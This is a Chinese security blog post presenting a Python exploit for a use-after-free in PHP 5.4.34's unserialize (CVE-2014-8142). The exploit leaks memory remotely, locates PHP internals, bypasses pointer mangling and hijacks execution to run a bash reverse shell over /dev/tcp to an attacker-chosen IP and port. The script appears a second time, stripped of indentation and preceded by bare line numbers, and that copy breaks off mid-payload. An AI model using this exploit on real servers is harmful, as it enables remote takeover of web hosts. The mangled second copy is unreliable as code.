PHP 5.4.34 unserialize UAF exploit - 文章

Author: niubl (知道创宇403)

Date: 2016-01-07

之前在Sebug沙龙分享的PHP 5.4.34 unserialize UAF exploit，EXP放到博客来，还有那天的PPT：

PHP反序列化UAF漏洞的研究与Exp编写

EXP代码：

PHP 5.4.34 unserialize UAF exploit

Python

'''
php 5.4.34
cve-2014-8142
php server script content for this vulnerability:
<?php
$data = base64_decode($_GET['data']);
echo serialize(unserialize($data));
?>
'''


import re
import pdb
import sys
import urllib
import urllib2
import base64
import struct
import urlparse


if __name__ == '__main__':
    if len(sys.argv) == 5:
        target = urlparse.urlunsplit(('http', sys.argv[1], sys.argv[2], '', ''))
    else:
        print "Usage: python " + sys.argv[0] + " [TargetIP] [URI] [Reverse IP] [Reverse Port]"
        sys.exit()

def get_resp(data):
    data = base64.b64encode(data)
    data = urllib.quote(data)
    req = urllib2.Request(url=target + "?data=" + data)
    u = urllib2.urlopen(req)
    resp = u.read()
    return resp

def read_memory(addr, count):
    #read_memory(0x8048000, 0x4)
    #read_memory(134512640, 4)

    data = 'O:8:"stdClass":4:{'
    data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';
    data += 's:3:"123";i:0;';
    data += 'i:0;S:16:"' + struct.pack("I", addr) + struct.pack("I", count) + '\00\01\01\00\06\00\BB\BC";';
    data += 'i:1;r:12;}';
    #print data
    resp = get_resp(data)
    #print resp
    start = resp.rfind("s:" + str(count) +  ":\"") + len("s:" + str(count) +  ":\"")
    end = resp.rfind("\";}")
    mem = resp[start:end]
    return mem

def format_to_hex(value):
    return format(value, "#04x")

def hex_to_dec(value):
    return int(value, 16)

def find_func_addr(function_name, strtab_section_addr, symtab_section_addr, libphp_base):
    strtab_count = 0x1000
    symtab_cont = 0x5000

    func_dynstr_offset = 0
    func_symtab_offset = 0

    while True:
        strtab_section = read_memory(strtab_section_addr, strtab_count)
        pos = strtab_section.find("\x00" + function_name + "\x00")

        if pos !=-1:
            func_dynstr_offset = pos + 1
            print "[+] Found " + function_name + " strtab offset is " + format_to_hex(func_dynstr_offset)
            break

        strtab_count = strtab_count + 0x1000

    while True:
        symtab_section = read_memory(symtab_section_addr, symtab_cont)

        while symtab_section:
            if struct.unpack("I", symtab_section[:4])[0] == func_dynstr_offset:
                func_symtab_offset = struct.unpack("I", symtab_section[4:8])[0]
                break
            symtab_section = symtab_section[16:]

        if func_symtab_offset:
            break

        symtab_cont = symtab_cont + 0x1000

    print "[+] Found " + function_name + " symtab offset is " + format_to_hex(func_symtab_offset)
    func_addr = libphp_base + func_symtab_offset;
    print "[+] Found " + function_name + " addr at " + format_to_hex(func_addr)
    return func_addr

# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

print "[+] Determining endianess of system"

data = 'O:8:"stdClass":4:{'
data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}'
data += 's:3:"123";i:0;'
data += 'i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\BB\BC\CC";'
data += 'i:1;r:12;}'

resp = get_resp(data)
m = re.findall("\:(\d*)\;\}", resp)

if m:
    if int(m[0]) == 256:
        print "[+] System is little endian"
    elif int(m[0]) == 65535:
        print "[+] System is big endian"

data = 'O:8:"stdClass":6:{'
data += 's:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'
data += 's:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'
data += 's:3:"456";i:1;'
data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:101;O:8:"stdclass":0:{}i:1;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:102;O:8:"stdclass":0:{}i:2;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:103;O:8:"stdclass":0:{}i:3;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:104;O:8:"stdclass":0:{}i:4;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:105;O:8:"stdclass":0:{}i:5;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:106;O:8:"stdclass":0:{}i:6;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:107;O:8:"stdclass":0:{}i:7;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:108;O:8:"stdclass":0:{}i:8;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:109;O:8:"stdclass":0:{}i:9;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";}'
data += 's:3:"789";i:0;'
data += 'i:1;r:56;}'

resp = get_resp(data)
start = resp.rfind(":\"") + 2
end = resp.rfind("\";}")
mem = resp[start:end]
fmt = fmt = "%dI" % (len(mem) // 4)
leak_heap_addr = list(struct.unpack(fmt, mem))
index = 0

for i in leak_heap_addr:
    if i == 0x5:
        std_object_handlers_addr = format_to_hex(leak_heap_addr[index - 2])
    index = index + 1

if std_object_handlers_addr:
    print "[+] Found std_object_handlers_addr address to be " + std_object_handlers_addr

print "[+] Leaking std_object_handlers"
mem = read_memory(hex_to_dec(std_object_handlers_addr), 0x70)
fmt = fmt = "%dI" % (len(mem) // 4)
leak_heap_addr = list(struct.unpack(fmt, mem))
std_object_handlers = []

for i in leak_heap_addr:
    std_object_handlers.append(format_to_hex(i))

print "Retrieved std_object_handlers" + str(std_object_handlers)
min_addr = min(i for i in std_object_handlers if hex_to_dec(i) > 0)
print "[+] Optimized to " + min_addr
print "[+] Scanning for executable header"
libphp_base = (hex_to_dec(min_addr) & ~0xfff)

while True:
    try:
        mem = read_memory(libphp_base, 4)
    except:
        continue

    if (mem == "\x7fELF"):
        break

    libphp_base -= 0x1000

print "[+] ELF header Found at " + format_to_hex(libphp_base)
mem = read_memory(libphp_base, 0x1000)
print "[+] Retrieving and parsing ELF header"
program_header = mem[52:]

while True:
    if struct.unpack("I", program_header[:4])[0] == 2:
        dynamic_section_addr =  libphp_base + struct.unpack("I", program_header[8:12])[0]
        break

    program_header = program_header[32:]

print "[+] ELF dynamic section Found at " + format_to_hex(dynamic_section_addr)
dynamic_section = read_memory(dynamic_section_addr, 0x118)

while True:
    if (struct.unpack("I", dynamic_section[:4])[0] == 5) and (struct.unpack("I", dynamic_section[8:12])[0] == 6):
        strtab_section_addr =  struct.unpack("I", dynamic_section[4:8])[0]
        symtab_section_addr =  struct.unpack("I", dynamic_section[12:16])[0]
        break
    dynamic_section = dynamic_section[8:]

print "[+] ELF strtab section Found at " + format_to_hex(strtab_section_addr)
print "[+] ELF symtab section Found at " + format_to_hex(symtab_section_addr)
php_execute_script_addr =  find_func_addr("php_execute_script", strtab_section_addr, symtab_section_addr, libphp_base)
zend_eval_string_addr =  find_func_addr("zend_eval_string", strtab_section_addr, symtab_section_addr, libphp_base)
executor_globals_addr =  find_func_addr("executor_globals", strtab_section_addr, symtab_section_addr, libphp_base)
jmpbuf_addr = struct.unpack("I", read_memory(executor_globals_addr + 288, 0x4))[0]
print "[+] Found jmpbuf at " + format_to_hex(jmpbuf_addr)
print "[+] Attempt to crack JMPBUF"
mem = read_memory(jmpbuf_addr, 0x18)
fmt = "%dI" % (len(mem)//4) 
jmp_buf = list(struct.unpack(fmt, mem))
mem = read_memory(php_execute_script_addr, 0x100)
fmt = "%dB" % (len(mem))
mem_list = list(struct.unpack(fmt, mem))

count = 0
set_jmp_ret_addr = 0

for i in mem_list:

    if (i == 0xe8) and (mem_list[count+5] == 0x31) and (mem_list[count+7] == 0x85):
        set_jmp_ret_addr =  php_execute_script_addr + count + 5
        jmp_to_ret_addr = php_execute_script_addr + count + 15 + struct.unpack("I", mem[(count+11):(count+15)])[0]

    count = count + 1

print "[+] Determined stored EIP value %s from pattern match"%format_to_hex(set_jmp_ret_addr)
pointer_guard = ror(jmp_buf[5], 9, 32) ^ set_jmp_ret_addr
print "[+] Calculated pointer_guard value is %s"%format_to_hex(pointer_guard)
unmangled_esp = ror(jmp_buf[4], 9, 32) ^ pointer_guard
print "[+] Unmangled stored ESP is %s"%format_to_hex(unmangled_esp)
mem = read_memory(jmpbuf_addr-0x1000, 0x1000)
print "[+] Checking memory infront of JMPBUF for overwriting possibilities"

i = 0
count = 0
valid_addr = []

while True:
    addr = jmpbuf_addr - 0x1000 + count
    if (struct.unpack("B", mem[count:count+1])[0] == 0x30) and (struct.unpack("B", mem[count+1:count+2])[0] == struct.unpack("B", mem[count+2:count+3])[0] == struct.unpack("B", mem[count+3:count+4])[0] == 0):
        valid_addr.append(addr)

    i = i + 1
    count = count + 1

    if len(mem[i:]) < 4:
        break

if valid_addr:
    print "[+] Found 0x30 at " + format_to_hex(valid_addr[0]) + " using it as overwrite trampoline"

    addr1 = valid_addr[0]+8
    count1 = 39
    addr2 = valid_addr[0]+ 48
    count2 = 111
    addr3 = valid_addr[0]+ 160
    count3 = 111
    addr4 = valid_addr[0]+ 272
    count4 = 111

    php_code = "system(\"bash -c 'bash -i >& /dev/tcp/" + sys.argv[3] + "/" + sys.argv[4] + " 0>&1'\");\00"
    old_cwd = struct.pack("I", jmpbuf_addr)
    return_addr = struct.pack("I", jmp_to_ret_addr)
    php_code_addr = struct.pack("I", jmpbuf_addr + 40)
    retval_ptr = "\00" * 4
    string_name = php_code_addr
    ebx = struct.pack("I", jmp_buf[0])
    esi = struct.pack("I", jmp_buf[1])
    edi = struct.pack("I", jmp_buf[2])
    ebp = struct.pack("I", jmp_buf[3])
    esp = struct.pack("I", rol((jmpbuf_addr + 24) ^ pointer_guard, 9, 32))
    eip = struct.pack("I", rol(zend_eval_string_addr ^ pointer_guard, 9, 32))
    junk =  "A" * (127 - len(ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code))

    data = 'O:8:"stdClass":17:{'
    data += 'S:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'
    data += 'S:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'
    data += 'S:3:"456";i:1;'
    data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:101;O:8:"stdclass":0:{}i:1;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:102;O:8:"stdclass":0:{}i:2;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:103;O:8:"stdclass":0:{}i:3;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:104;O:8:"stdclass":0:{}i:4;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:105;O:8:"stdclass":0:{}i:5;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:106;O:8:"stdclass":0:{}i:6;S:16:"' + struct.pack("I", addr4) + struct.pack("I", count4) + '\00\00\00\00\06\00\BB\BC";i:107;O:8:"stdclass":0:{}i:7;S:16:"' + struct.pack("I", addr3) + struct.pack("I", count3) + '\00\00\00\00\06\00\BB\BC";i:108;O:8:"stdclass":0:{}i:8;S:16:"' + struct.pack("I", addr2) + struct.pack("I", count2) + '\00\00\00\00\06\00\BB\BC";i:109;O:8:"stdclass":0:{}i:9;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";}'
    data += 'S:3:"abc";r:53;'
    data += 'S:3:"abc";i:1;'
    data += 'S:3:"def";S:39:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x78\x00\00\00\01\00\00";'
    data += 'S:3:"ghi";r:56;'
    data += 'S:3:"ghi";i:1;'
    data += 'S:3:"jkl";S:111:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB' + old_cwd + 'DDDD\x78\x00\00\00\01\00\00";'
    data += 'S:3:"mno";r:59;'
    data += 'S:3:"mno";i:1;'
    data += 'S:3:"pqr";S:111:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x88\x00\00\00\01\00\00";'
    data += 'S:3:"stu";r:62;'
    data += 'S:3:"stu";i:1;'
    data += 'S:3:"vwx";S:127:"' + ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code + junk + '";'
    data += 'O:8:"DateTime":1:{s:10:"_date_time";s:25:"-001-11-30T00:00:00+01:00";}}'

    print "[+] Returning into PHP... Spawning a shell to " + sys.argv[3] + " at port " + sys.argv[4]
    resp = get_resp(data)

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

'''

php 5.4.34

cve-2014-8142

php server script content for this vulnerability:

<?php

$data = base64_decode($_GET['data']);

echo serialize(unserialize($data));

'''

import re

import pdb

import sys

import urllib

import urllib2

import base64

import struct

import urlparse

if __name__ == '__main__':

if len(sys.argv) == 5:

target = urlparse.urlunsplit(('http', sys.argv[1], sys.argv[2], '', ''))

else:

print "Usage: python " + sys.argv[0] + " [TargetIP] [URI] [Reverse IP] [Reverse Port]"

sys.exit()

def get_resp(data):

data = base64.b64encode(data)

data = urllib.quote(data)

req = urllib2.Request(url=target + "?data=" + data)

u = urllib2.urlopen(req)

resp = u.read()

return resp

def read_memory(addr, count):

#read_memory(0x8048000, 0x4)

#read_memory(134512640, 4)

data = 'O:8:"stdClass":4:{'

data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';

data += 's:3:"123";i:0;';

data += 'i:0;S:16:"' + struct.pack("I", addr) + struct.pack("I", count) + '\00\01\01\00\06\00\BB\BC";';

data += 'i:1;r:12;}';

#print data

resp = get_resp(data)

#print resp

start = resp.rfind("s:" + str(count) + ":\"") + len("s:" + str(count) + ":\"")

end = resp.rfind("\";}")

mem = resp[start:end]

return mem

def format_to_hex(value):

return format(value, "#04x")

def hex_to_dec(value):

return int(value, 16)

def find_func_addr(function_name, strtab_section_addr, symtab_section_addr, libphp_base):

strtab_count = 0x1000

symtab_cont = 0x5000

func_dynstr_offset = 0

func_symtab_offset = 0

while True:

strtab_section = read_memory(strtab_section_addr, strtab_count)

pos = strtab_section.find("\x00" + function_name + "\x00")

if pos !=-1:

func_dynstr_offset = pos + 1

print "[+] Found " + function_name + " strtab offset is " + format_to_hex(func_dynstr_offset)

break

strtab_count = strtab_count + 0x1000

while True:

symtab_section = read_memory(symtab_section_addr, symtab_cont)

while symtab_section:

if struct.unpack("I", symtab_section[:4])[0] == func_dynstr_offset:

func_symtab_offset = struct.unpack("I", symtab_section[4:8])[0]

break

symtab_section = symtab_section[16:]

if func_symtab_offset:

break

symtab_cont = symtab_cont + 0x1000

print "[+] Found " + function_name + " symtab offset is " + format_to_hex(func_symtab_offset)

func_addr = libphp_base + func_symtab_offset;

print "[+] Found " + function_name + " addr at " + format_to_hex(func_addr)

return func_addr

# Rotate left: 0b1001 --> 0b0011

rol = lambda val, r_bits, max_bits: \

(val << r_bits%max_bits) & (2**max_bits-1) | \

((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

# Rotate right: 0b1001 --> 0b1100

ror = lambda val, r_bits, max_bits: \

((val & (2**max_bits-1)) >> r_bits%max_bits) | \

(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

print "[+] Determining endianess of system"

data = 'O:8:"stdClass":4:{'

data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}'

data += 's:3:"123";i:0;'

data += 'i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\BB\BC\CC";'

data += 'i:1;r:12;}'

resp = get_resp(data)

m = re.findall("\:(\d*)\;\}", resp)

if m:

if int(m[0]) == 256:

print "[+] System is little endian"

elif int(m[0]) == 65535:

print "[+] System is big endian"

data = 'O:8:"stdClass":6:{'

data += 's:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'

data += 's:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'

data += 's:3:"456";i:1;'

data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:101;O:8:"stdclass":0:{}i:1;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:102;O:8:"stdclass":0:{}i:2;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:103;O:8:"stdclass":0:{}i:3;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:104;O:8:"stdclass":0:{}i:4;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:105;O:8:"stdclass":0:{}i:5;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:106;O:8:"stdclass":0:{}i:6;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:107;O:8:"stdclass":0:{}i:7;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:108;O:8:"stdclass":0:{}i:8;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:109;O:8:"stdclass":0:{}i:9;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";}'

data += 's:3:"789";i:0;'

data += 'i:1;r:56;}'

resp = get_resp(data)

start = resp.rfind(":\"") + 2

end = resp.rfind("\";}")

mem = resp[start:end]

fmt = fmt = "%dI" % (len(mem) // 4)

leak_heap_addr = list(struct.unpack(fmt, mem))

index = 0

for i in leak_heap_addr:

if i == 0x5:

std_object_handlers_addr = format_to_hex(leak_heap_addr[index - 2])

index = index + 1

if std_object_handlers_addr:

print "[+] Found std_object_handlers_addr address to be " + std_object_handlers_addr

print "[+] Leaking std_object_handlers"

mem = read_memory(hex_to_dec(std_object_handlers_addr), 0x70)

fmt = fmt = "%dI" % (len(mem) // 4)

leak_heap_addr = list(struct.unpack(fmt, mem))

std_object_handlers = []

for i in leak_heap_addr:

std_object_handlers.append(format_to_hex(i))

print "Retrieved std_object_handlers" + str(std_object_handlers)

min_addr = min(i for i in std_object_handlers if hex_to_dec(i) > 0)

print "[+] Optimized to " + min_addr

print "[+] Scanning for executable header"

libphp_base = (hex_to_dec(min_addr) & ~0xfff)

while True:

try:

mem = read_memory(libphp_base, 4)

except:

continue

if (mem == "\x7fELF"):

break

libphp_base -= 0x1000

print "[+] ELF header Found at " + format_to_hex(libphp_base)

mem = read_memory(libphp_base, 0x1000)

print "[+] Retrieving and parsing ELF header"

program_header = mem[52:]

while True:

if struct.unpack("I", program_header[:4])[0] == 2:

dynamic_section_addr = libphp_base + struct.unpack("I", program_header[8:12])[0]

break

program_header = program_header[32:]

print "[+] ELF dynamic section Found at " + format_to_hex(dynamic_section_addr)

dynamic_section = read_memory(dynamic_section_addr, 0x118)

while True:

if (struct.unpack("I", dynamic_section[:4])[0] == 5) and (struct.unpack("I", dynamic_section[8:12])[0] == 6):

strtab_section_addr = struct.unpack("I", dynamic_section[4:8])[0]

symtab_section_addr = struct.unpack("I", dynamic_section[12:16])[0]

break

dynamic_section = dynamic_section[8:]

print "[+] ELF strtab section Found at " + format_to_hex(strtab_section_addr)

print "[+] ELF symtab section Found at " + format_to_hex(symtab_section_addr)

php_execute_script_addr = find_func_addr("php_execute_script", strtab_section_addr, symtab_section_addr, libphp_base)

zend_eval_string_addr = find_func_addr("zend_eval_string", strtab_section_addr, symtab_section_addr, libphp_base)

executor_globals_addr = find_func_addr("executor_globals", strtab_section_addr, symtab_section_addr, libphp_base)

jmpbuf_addr = struct.unpack("I", read_memory(executor_globals_addr + 288, 0x4))[0]

print "[+] Found jmpbuf at " + format_to_hex(jmpbuf_addr)

print "[+] Attempt to crack JMPBUF"

mem = read_memory(jmpbuf_addr, 0x18)

fmt = "%dI" % (len(mem)//4)

jmp_buf = list(struct.unpack(fmt, mem))

mem = read_memory(php_execute_script_addr, 0x100)

fmt = "%dB" % (len(mem))

mem_list = list(struct.unpack(fmt, mem))

count = 0

set_jmp_ret_addr = 0

for i in mem_list:

if (i == 0xe8) and (mem_list[count+5] == 0x31) and (mem_list[count+7] == 0x85):

set_jmp_ret_addr = php_execute_script_addr + count + 5

jmp_to_ret_addr = php_execute_script_addr + count + 15 + struct.unpack("I", mem[(count+11):(count+15)])[0]

count = count + 1

print "[+] Determined stored EIP value %s from pattern match"%format_to_hex(set_jmp_ret_addr)

pointer_guard = ror(jmp_buf[5], 9, 32) ^ set_jmp_ret_addr

print "[+] Calculated pointer_guard value is %s"%format_to_hex(pointer_guard)

unmangled_esp = ror(jmp_buf[4], 9, 32) ^ pointer_guard

print "[+] Unmangled stored ESP is %s"%format_to_hex(unmangled_esp)

mem = read_memory(jmpbuf_addr-0x1000, 0x1000)

print "[+] Checking memory infront of JMPBUF for overwriting possibilities"

i = 0

count = 0

valid_addr = []

while True:

addr = jmpbuf_addr - 0x1000 + count

if (struct.unpack("B", mem[count:count+1])[0] == 0x30) and (struct.unpack("B", mem[count+1:count+2])[0] == struct.unpack("B", mem[count+2:count+3])[0] == struct.unpack("B", mem[count+3:count+4])[0] == 0):

valid_addr.append(addr)

i = i + 1

count = count + 1

if len(mem[i:]) < 4:

break

if valid_addr:

print "[+] Found 0x30 at " + format_to_hex(valid_addr[0]) + " using it as overwrite trampoline"

addr1 = valid_addr[0]+8

count1 = 39

addr2 = valid_addr[0]+ 48

count2 = 111

addr3 = valid_addr[0]+ 160

count3 = 111

addr4 = valid_addr[0]+ 272

count4 = 111

php_code = "system(\"bash -c 'bash -i >& /dev/tcp/" + sys.argv[3] + "/" + sys.argv[4] + " 0>&1'\");\00"

old_cwd = struct.pack("I", jmpbuf_addr)

return_addr = struct.pack("I", jmp_to_ret_addr)

php_code_addr = struct.pack("I", jmpbuf_addr + 40)

retval_ptr = "\00" * 4

string_name = php_code_addr

ebx = struct.pack("I", jmp_buf[0])

esi = struct.pack("I", jmp_buf[1])

edi = struct.pack("I", jmp_buf[2])

ebp = struct.pack("I", jmp_buf[3])

esp = struct.pack("I", rol((jmpbuf_addr + 24) ^ pointer_guard, 9, 32))

eip = struct.pack("I", rol(zend_eval_string_addr ^ pointer_guard, 9, 32))

junk = "A" * (127 - len(ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code))

data = 'O:8:"stdClass":17:{'

data += 'S:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'

data += 'S:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'

data += 'S:3:"456";i:1;'

